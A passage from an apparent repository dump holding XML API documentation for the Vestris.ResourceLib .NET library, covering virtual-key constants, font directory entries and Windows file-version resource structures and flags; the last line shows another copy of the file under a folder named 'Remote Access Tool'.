name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FORWARD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_REFRESH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_SEARCH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FAVORITES\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_HOME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_MUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_DOWN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_UP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_NEXT_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PREV_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PLAY_PAUSE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MAIL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MEDIA_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_1\">\n            <summary>\n            ';:' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PLUS\">\n            <summary>\n            '+' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COMMA\">\n            <summary>\n            ',' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_MINUS\">\n            <summary>\n            '-' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PERIOD\">\n            <summary>\n            '.' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_2\">\n            <summary>\n            '/?' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_3\">\n            <summary>\n            '`~' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_4\">\n            <summary>\n            '[{' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_5\">\n            <summary>\n            '\\|' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_6\">\n            <summary>\n            ']}' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_7\">\n            <summary>\n            ''\"' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AX\">\n            <summary>\n            'AX' key on Japanese AX kbd\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_102\">\n            <summary>\n            \"&lt;&gt;\" or \"\\|\" on RT 102-key kbd.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_HELP\">\n            <summary>\n            Help key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_00\">\n            <summary>\n            00 key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PROCESSKEY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PACKET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_RESET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_JUMP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_WSCTRL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CUSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FINISH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COPY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AUTO\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ENLW\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_BACKTAB\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CRSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EREOF\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PLAY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ZOOM\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONAME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.FONTDIRENTRY\">\n            <summary>\n            Contains information about an individual font in a font resource group. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVersion\">\n            <summary>\n            Specifies a user-defined version number for the resource data that tools can \n            use to read and write resource files. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfSize\">\n            <summary>\n            Specifies the size of the file, in bytes. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCopyright\">\n            <summary>\n            Contains a 60-character string with the font supplier's copyright information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfType\">\n            <summary>\n            Specifies the type of font file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPoints\">\n            <summary>\n            Specifies the point size at which this character set looks best. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVertRes\">\n            <summary>\n            Specifies the vertical resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfHorizRes\">\n            <summary>\n            Specifies the horizontal resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAscent\">\n            <summary>\n            Specifies the distance from the top of a character definition cell to the baseline of the \n            typographical font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfInternalLeading\">\n            <summary>\n            Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and \n            other diacritical characters can occur in this area. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfExternalLeading\">\n            <summary>\n            Specifies the amount of extra leading that the application adds between rows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfItalic\">\n            <summary>\n            Specifies an italic font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfUnderline\">\n            <summary>\n            Specifies an underlined font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfStrikeOut\">\n            <summary>\n            Specifies a strikeout font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWeight\">\n            <summary>\n            Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and \n            700 is bold. If this value is zero, a default weight is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCharSet\">\n            <summary>\n            Specifies the character set of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixWidth\">\n            <summary>\n            Specifies the width of the grid on which a vector font was digitized. For raster fonts, \n            if the member is not equal to zero, it represents the width for all the characters in the \n            bitmap. If the member is equal to zero, the font has variable-width characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixHeight\">\n            <summary>\n            Specifies the height of the character bitmap for raster fonts or the height of the grid \n            on which a vector font was digitized. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPitchAndFamily\">\n            <summary>\n            Specifies the pitch and the family of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAvgWidth\">\n            <summary>\n            Specifies the average width of characters in the font (generally defined as the width of \n            the letter x). This value does not include the overhang required for bold or italic characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfMaxWidth\">\n            <summary>\n            Specifies the width of the widest character in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFirstChar\">\n            <summary>\n            Specifies the first character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfLastChar\">\n            <summary>\n            Specifies the last character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDefaultChar\">\n            <summary>\n            Specifies the character to substitute for characters not in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfBreakChar\">\n            <summary>\n            Specifies the character that will be used to define word breaks for text justification.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWidthBytes\">\n            <summary>\n            Specifies the number of bytes in each row of the bitmap. This value is always even so \n            that the rows start on word boundaries. For vector fonts, this member has no meaning. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDevice\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that specifies a device name. \n            For a generic font, this value is zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFace\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that names the typeface. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfReserved\">\n            <summary>\n            This member is reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information not dependent on a particular language and code page combination.\n            http://msdn.microsoft.com/en-us/library/aa909193.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Vars\">\n            <summary>\n            A hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor\">\n            <summary>\n            A new hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read a hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n            <returns>Pointer to the end of data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the hardware independent dictionary of language and code page identifier tables to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Default\">\n            <summary>\n            The default language and code page identifier table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Item(System.UInt16)\">\n            <summary>\n            Returns a language and code page identifier table.\n            </summary>\n            <param name=\"language\">Language ID.</param>\n            <returns>A language and code page identifier table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of VarFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the VarFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It typically contains a \n            list of language and code page identifier pairs that the version of the application or DLL supports.\n            http://msdn.microsoft.com/en-us/library/bb202818.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Languages\">\n            <summary>\n            A dictionary of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.String)\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n            <param name=\"key\">Table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Read(System.IntPtr)\">\n            <summary>\n            Read a table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the table of language and code page identifier pairs to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Item(System.UInt16)\">\n            <summary>\n            Returns a code page identifier for a given language.\n            </summary>\n            <param name=\"key\">Language ID.</param>\n            <returns>Code page identifier.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the var table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the var table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VersionResource\">\n            <summary>\n            VS_VERSIONINFO\n            This structure depicts the organization of data in a file-version resource. It is the root structure\n            that contains all other file-version information structures.\n            http://msdn.microsoft.com/en-us/library/aa914916.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Header\">\n            <summary>\n            The resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Resources\">\n            <summary>\n            A dictionary of resource tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing version resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor\">\n            <summary>\n            A new language-netural version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a version resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write this version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.String)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"key\">Entry key.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.Int32)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"index\">Entry index.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.ToString\">\n            <summary>\n            Return string representation of the version resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver\">\n            <summary>\n            winver.h, version management functions, types and definitions\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_SIGNATURE\">\n            <summary>\n            VS_VERSION signature.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_STRUCVERSION\">\n            <summary>\n            VS_VERSION structure version.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_FILEFLAGSMASK\">\n            <summary>\n            VS_VERSION file flags mask.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileFlags\">\n            <summary>\n            VS_VERSION file flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_DEBUG\">\n            <summary>\n            The file contains debugging information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRERELEASE\">\n            <summary>\n            The file is a prerelease development version, not a final commercial release.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PATCHED\">\n            <summary>\n            PThe file has been modified somehow and is not identical to the original file\n            that shipped with the product. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRIVATEBUILD\">\n            <summary>\n            The file was not built using standard release procedures. There should be data \n            in the file's \"PrivateBuild\" version information string. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_INFOINFERRED\">\n            <summary>\n            The version information in this structure was not found inside the file, \n            but instead was created when needed based on the best information available. \n            Therefore, this structure's information may differ slightly from what the \"real\"\n            values are.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_SPECIALBUILD\">\n            <summary>\n            The file was built using standard release procedures, but is somehow different \n            from the normal file having the same version number. There should be data in the \n            file's \"SpecialBuild\" version information string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileOs\">\n            <summary>\n            VS_VERSION file OSs.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_UNKNOWN\">\n            <summary>\n            The operating system under which the file was designed to run could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS\">\n            <summary>\n            The file was designed to run under MS-DOS. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216\">\n            <summary>\n            The file was designed to run under a 16-bit version of OS/2. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232\">\n            <summary>\n            The file was designed to run under a 32-bit version of OS/2.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT\">\n            <summary>\n            The file was designed to run under Windows NT/2000.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_WINCE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS16\">\n            <summary>\n            The file was designed to run under the 16-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM16\">\n            <summary>\n            The file was designed to be run under a 16-bit version of Presentation Manager. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM32\">\n            <summary>\n            The file was designed to be run under a 32-bit version of Presentation Manager.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS32\">\n            <summary>\n            The file was designed to run under the 32-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216_PM16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232_PM32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileType\">\n            <summary>\n            VS_VERSION file types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_UNKNOWN\">\n            <summary>\n            The type of file could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_APP\">\n            <summary>\n            The file is an application.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DLL\">\n            <summary>\n            The file is a Dynamic Link Library (DLL). \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DRV\">\n            <summary>\n            The file is a device driver. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_FONT\">\n            <summary>\n            The file is a font. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_VXD\">\n            <summary>\n            The file is a virtual device.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_STATIC_LIB\">\n            <summary>\n            The file is a static link library.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileSubType\">\n            <summary>\n            File sub-type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_UNKNOWN\">\n            <summary>\n            The type of driver could not be determined. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_PRINTER\">\n            <summary>\n            The file is a printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_KEYBOARD\">\n            <summary>\n            The file is a keyboard driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_LANGUAGE\">\n            <summary>\n            The file is a language driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_DISPLAY\">\n            <summary>\n            The file is a display driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_MOUSE\">\n            <summary>\n            The file is a mouse driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_NETWORK\">\n            <summary>\n            The file is a network driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SYSTEM\">\n            <summary>\n            The file is a system driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INSTALLABLE\">\n            <summary>\n            The file is an installable driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SOUND\">\n            <summary>\n            The file is a sound driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_COMM\">\n            <summary>\n            The file is a communications driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INPUTMETHOD\">\n            <summary>\n            The file is an input method driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_VERSIONED_PRINTER\">\n            <summary>\n            The file is a versioned printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_RASTER\">\n            <summary>\n            The file is a raster font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_VECTOR\">\n            <summary>\n            The file is a vector font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_TRUETYPE\">\n            <summary>\n            The file is a TrueType font. \n            </summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/netstandard2.0/Vestris.ResourceLib.xml",
